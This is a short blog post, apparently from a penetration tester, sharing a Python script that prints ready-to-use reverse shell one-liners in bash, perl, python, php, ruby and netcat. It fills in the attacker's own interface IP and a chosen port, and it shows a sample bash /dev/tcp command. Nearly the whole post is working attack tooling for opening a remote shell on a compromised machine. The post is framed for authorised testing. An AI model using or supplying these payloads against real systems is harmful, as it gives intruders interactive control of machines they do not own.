Thursday, August 10, 2017

Reverse shell payload helper

Introduction

After bookmarking and constantly referencing the correct format for various types of reverse shell one-liners from Pentstmonkey, I decided to write a quick helper script for generating the correct code along with automatically filling in the IP address. Simply replace the interface variable with the name of the interface you conduct your penetration tests on and spawn your netcat listener.

Example

$ payload.py bash 443
bash -i >& /dev/tcp/192.168.1.5/443 0>&1

Code

#!/usr/bin/python3
from sys import argv, exit
from netifaces import AF_INET, ifaddresses
interface = 'tap0'
# Taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
templates = {
'bash': """bash -i >& /dev/tcp/{host}/{port} 0>&1""",
'perl': """perl -e 'use Socket;$i="{host}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""",
'python': """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""",
'php': """php -r '$sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'""",
'ruby': """ruby -rsocket -e'f=TCPSocket.open("{host}",{port}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'""",
'netcat': """nc -e /bin/sh {host} {port}"""
}
def get_ip(iface):
try:
return ifaddresses(iface)[AF_INET][0]['addr']
except ValueError:
print("Invalid interface {}".format(iface))
exit(1)
def main():
if len(argv) != 3:
print("Usage: {} <type> <port>".format(argv[0]))
print("\tShell types:")
for key in templates.keys():
print("\t\t{}".format(key))
exit(1)
if argv[1] not in templates.keys():
print("Invalid template type: {}".format(argv[1]))
exit(1)
try:
port = int(argv[2])
if port < 1 or port > 65535:
raise ValueError('Invalid port number')
except ValueError:
print("Port must be a valid number between 1 and 65535")
exit(1)
host = get_ip(interface)
print(templates[argv[1]].format(host=host, port=port))
if __name__=='__main__':
main()
view raw payload.py hosted with ❤ by GitHub